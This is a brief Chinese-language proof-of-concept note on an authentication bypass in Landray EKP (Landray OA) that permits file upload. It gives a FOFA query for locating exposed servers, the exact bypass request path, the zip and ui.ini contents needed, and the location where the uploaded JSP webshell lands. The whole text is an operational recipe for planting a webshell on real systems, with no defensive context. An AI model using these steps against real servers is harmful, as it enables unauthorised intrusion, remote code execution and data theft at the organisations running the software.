蓝凌EKP前台授权绕过导致文件上传 fofa app="Landray-OA系统" 访问路径/api///sys/ui/sys_ui_extend/sysUiExtend.do?method=upload其中路径需要api后面需要///不能变。 poc /api///sys/ui/sys_ui_extend/sysUiExtend.do?method=upload 文件上传 然后上传zip包需要有ui.ini文件内容如下 id=ZzzZname=testthumb=test 马会在/resource/ui-ext/ZzzZ/jmdyy.jsp
